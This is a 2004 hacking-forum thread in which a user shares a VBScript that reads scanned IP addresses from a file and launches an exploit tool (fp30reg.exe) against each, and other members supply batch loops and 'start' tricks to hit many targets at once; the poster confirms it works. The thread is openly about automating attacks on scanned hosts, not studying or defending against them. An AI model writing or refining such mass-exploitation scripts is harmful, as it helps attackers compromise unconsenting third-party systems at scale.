hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

BuzzDee
hi!
i coded a vbscript which automatically exploits ips from a text-file. my question is: how can i edit the vbscript so that it only exploits 20 targets in one go, then the next 20 ips, then the next... . because when i have 1000 scan results my pc crashes ^^ or is there a way to do this with a batch file? with a batch file i only know how to exploit one ip, then another, then another....

would be nice if u could help me... smile.gif

greetz
andydis
show us part of a edited script and ill have a look :-)
BuzzDee
well heres the script.

////////////////////////////////////////////////////////////////////

`frontpage-script

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.OpenTextFile("scan.txt",1)
Do Until objTextFile.AtEndOfStream
strip = objTextFile.Readline
runstr = "fp30reg.exe " & strip & " "
dim wsh
set wsh = CreateObject("WScript.Shell")
wsh.run(runstr)
Loop

////////////////////////////////////////////////////////////////////

dmg
I always use:

for /F %%a in (scan.txt) do command %%a

Or with more commands per ip:

for /F %%a in (scan.txt) do (
command1 %%a
command2 %%a
command3 %%a
)


The same can also be done like this:

for /F %%a in (scan.txt) do call :hax %%a
exit
:hax
command1 %1
command2 %1
command3 %1

The script will parse one IP at a time though, I don't know if this is a problem for you.
andydis
you could wack a "start in front of every command dmg said
and itll open loads dos prompts but close them again,
u better have alot of RAM, lol, am looking at other ways.......


for /F %%a in (scan.txt) do (
start command1 %%a
start command2 %%a
start command3 %%a

dmg
QUOTE (andydis @ Jan 20 2004, 01:12 PM)
you could wack a "start in front of every command dmg said
and itll open loads dos prompts but close them again,
u better have alot of RAM, lol, am looking at other ways.......


for /F %%a in (scan.txt) do (
start command1 %%a
start command2 %%a
start command3 %%a

Don't forget the closing bracket:

)
BuzzDee
well does it exploit one ip after the other then? or how can u set a number of ips which are to be exploited @ once?

thx
andydis
buzzdee, try it, make the batch file with the "start" at the begining of each line and it will do the commands to all the ips almost at the same time,

it will open a new windows for each command tho....... fun :-)
FiNaLBeTa
QUOTE (dmg @ Jan 20 2004, 12:57 PM)
I always use:

for /F %%a in (scan.txt) do command %%a

Or with more commands per ip:

for /F %%a in (scan.txt) do (
command1 %%a
command2 %%a
command3 %%a
)


The same can also be done like this:

for /F %%a in (scan.txt) do call :hax %%a
exit
:hax
command1 %1
command2 %1
command3 %1

The script will parse one IP at a time though, I don't know if this is a problem for you.

Can you explain le how the /F %%a works?
I've seen it alot, but i don't understand wy there are 2 %%.
dmg
There are two %% because you use it in a script. On the commandline you use one %

Example; Put the current date in variable %blaat%:

on the commandline you would use:

for /F "tokens=2" %a in ('date /T') do set blaat=%a


In a script you would use:

for /F "tokens=2" %%a in ('date /T') do set blaat=%%a
FiNaLBeTa
thnx , now i understand the tokens two.
BuzzDee
worx perfect! biggrin.gif

thx alot for ur help guys!

greetz,

buzz
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.